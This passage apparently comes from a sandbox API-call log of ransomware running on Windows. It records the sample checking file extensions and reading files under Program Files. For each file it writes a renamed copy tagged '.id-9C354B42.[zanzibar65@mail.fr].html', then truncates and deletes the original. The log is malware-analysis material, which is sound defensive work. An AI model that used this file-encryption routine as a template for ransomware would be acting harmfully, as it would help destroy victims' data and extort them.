(normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0046.981] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.981] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.981] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74 [0046.981] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74 [0046.981] lstrlenW (lpString=".doc") returned 4 [0046.981] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.981] lstrlenW (lpString=".docx") returned 5 [0046.981] lstrcmpiW (lpString1=".docx", lpString2="e.PNG") returned -1 [0046.981] lstrlenW (lpString=".pdf") returned 4 [0046.981] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.981] lstrlenW (lpString=".xls") returned 4 [0046.981] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.981] lstrlenW (lpString=".xlsx") returned 5 [0046.981] lstrcmpiW (lpString1=".xlsx", lpString2="e.PNG") returned -1 [0046.981] lstrlenW (lpString=".ppt") returned 4 [0046.981] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.981] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74 [0046.981] lstrlenW (lpString=".zip") returned 4 [0046.981] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.981] lstrlenW (lpString=".rar") returned 4 [0046.981] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.981] lstrlenW (lpString=".bz2") returned 4 [0046.981] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.981] lstrlenW (lpString=".7z") returned 3 [0046.981] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.981] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned 74 [0046.982] lstrlenW (lpString=".dbf") returned 4 [0046.982] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.470] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=34076) returned 1 [0048.470] CloseHandle (hObject=0x210) returned 1 [0048.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0048.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.470] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.470] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.471] GetLastError () returned 0x0 [0048.471] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x851c, lpOverlapped=0x0) returned 1 [0048.473] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8520, lpOverlapped=0x0) returned 1 [0048.474] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.474] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.474] SetEndOfFile (hFile=0x204) returned 1 [0048.474] CloseHandle (hObject=0x204) returned 1 [0048.474] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.474] SetEndOfFile (hFile=0x210) returned 1 [0048.475] CloseHandle (hObject=0x210) returned 1 [0048.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0048.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0048.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0048.476] lstrlenW (lpString=".doc") returned 4 [0048.476] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.476] lstrlenW (lpString=".docx") returned 5 [0048.476] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.476] lstrlenW (lpString=".pdf") returned 4 [0048.476] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.476] lstrlenW (lpString=".xls") returned 4 [0048.476] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.476] lstrlenW (lpString=".xlsx") returned 5 [0048.476] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.476] lstrlenW (lpString=".ppt") returned 4 [0048.476] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0048.476] lstrlenW (lpString=".zip") returned 4 [0048.476] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.476] lstrlenW (lpString=".rar") returned 4 [0048.476] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.477] lstrlenW (lpString=".bz2") returned 4 [0048.477] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.477] lstrlenW (lpString=".7z") returned 3 [0048.477] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0048.477] lstrlenW (lpString=".dbf") returned 4 [0048.477] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0048.477] lstrlenW (lpString=".1cd") returned 4 [0048.477] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0048.477] lstrlenW (lpString=".jpg") returned 4 [0048.477] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.477] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=39515) returned 1 [0048.477] CloseHandle (hObject=0x210) returned 1 [0048.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0048.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.478] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.478] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.478] GetLastError () returned 0x0 [0048.478] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0048.480] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0048.481] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.482] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.482] SetEndOfFile (hFile=0x204) returned 1 [0048.482] CloseHandle (hObject=0x204) returned 1 [0048.482] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.482] SetEndOfFile (hFile=0x210) returned 1 [0048.483] CloseHandle (hObject=0x210) returned 1 [0048.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0048.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0048.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0048.483] lstrlenW (lpString=".doc") returned 4 [0048.483] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.483] lstrlenW (lpString=".docx") returned 5 [0048.484] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.484] lstrlenW (lpString=".pdf") returned 4 [0048.484] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString=".xls") returned 4 [0048.484] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString=".xlsx") returned 5 [0048.484] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.484] lstrlenW (lpString=".ppt") returned 4 [0048.484] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0048.484] lstrlenW (lpString=".zip") returned 4 [0048.484] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.484] lstrlenW (lpString=".rar") returned 4 [0048.484] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString=".bz2") returned 4 [0048.484] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString=".7z") returned 3 [0048.484] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0048.484] lstrlenW (lpString=".dbf") returned 4 [0048.484] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0048.484] lstrlenW (lpString=".1cd") returned 4 [0048.484] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0048.484] lstrlenW (lpString=".jpg") returned 4 [0048.484] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.486] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=29790) returned 1 [0048.486] CloseHandle (hObject=0x210) returned 1 [0048.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0048.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.487] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.487] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.487] GetLastError () returned 0x0 [0048.487] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x745e, lpOverlapped=0x0) returned 1 [0048.489] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0048.490] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.490] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0048.490] SetEndOfFile (hFile=0x204) returned 1 [0048.491] CloseHandle (hObject=0x204) returned 1 [0048.491] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.491] SetEndOfFile (hFile=0x210) returned 1 [0048.492] CloseHandle (hObject=0x210) returned 1 [0048.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0048.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0048.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0048.492] lstrlenW (lpString=".doc") returned 4 [0048.492] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.492] lstrlenW (lpString=".docx") returned 5 [0048.492] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0048.492] lstrlenW (lpString=".pdf") returned 4 [0048.492] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.492] lstrlenW (lpString=".xls") returned 4 [0048.493] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.493] lstrlenW (lpString=".xlsx") returned 5 [0048.493] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0048.493] lstrlenW (lpString=".ppt") returned 4 [0048.493] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0048.493] lstrlenW (lpString=".zip") returned 4 [0048.493] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.493] lstrlenW (lpString=".rar") returned 4 [0048.493] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.493] lstrlenW (lpString=".bz2") returned 4 [0048.493] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.493] lstrlenW (lpString=".7z") returned 3 [0048.493] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0048.493] lstrlenW (lpString=".dbf") returned 4 [0048.493] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0048.493] lstrlenW (lpString=".1cd") returned 4 [0048.493] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0048.493] lstrlenW (lpString=".jpg") returned 4 [0048.493] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.495] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.495] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.495] GetLastError () returned 0x0 [0048.495] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x2340, lpOverlapped=0x0) returned 1 [0048.505] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0048.506] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.506] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.507] SetEndOfFile (hFile=0x204) returned 1 [0048.511] CloseHandle (hObject=0x204) returned 1 [0048.511] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.511] SetEndOfFile (hFile=0x210) returned 1 [0048.512] CloseHandle (hObject=0x210) returned 1 [0048.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0048.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0048.513] lstrlenW (lpString=".doc") returned 4 [0048.513] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.513] lstrlenW (lpString=".docx") returned 5 [0048.513] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.513] lstrlenW (lpString=".pdf") returned 4 [0048.513] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.513] lstrlenW (lpString=".xls") returned 4 [0048.513] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.513] lstrlenW (lpString=".xlsx") returned 5 [0048.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.513] lstrlenW (lpString=".ppt") returned 4 [0048.513] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0048.513] lstrlenW (lpString=".zip") returned 4 [0048.513] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.513] lstrlenW (lpString=".rar") returned 4 [0048.513] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.513] lstrlenW (lpString=".bz2") returned 4 [0048.513] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.513] lstrlenW (lpString=".7z") returned 3 [0048.513] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0048.513] lstrlenW (lpString=".dbf") returned 4 [0048.513] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0048.513] lstrlenW (lpString=".1cd") returned 4 [0048.513] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0048.513] lstrlenW (lpString=".jpg") returned 4 [0048.513] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.514] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=7216) returned 1 [0048.514] CloseHandle (hObject=0x210) returned 1 [0048.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0048.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, 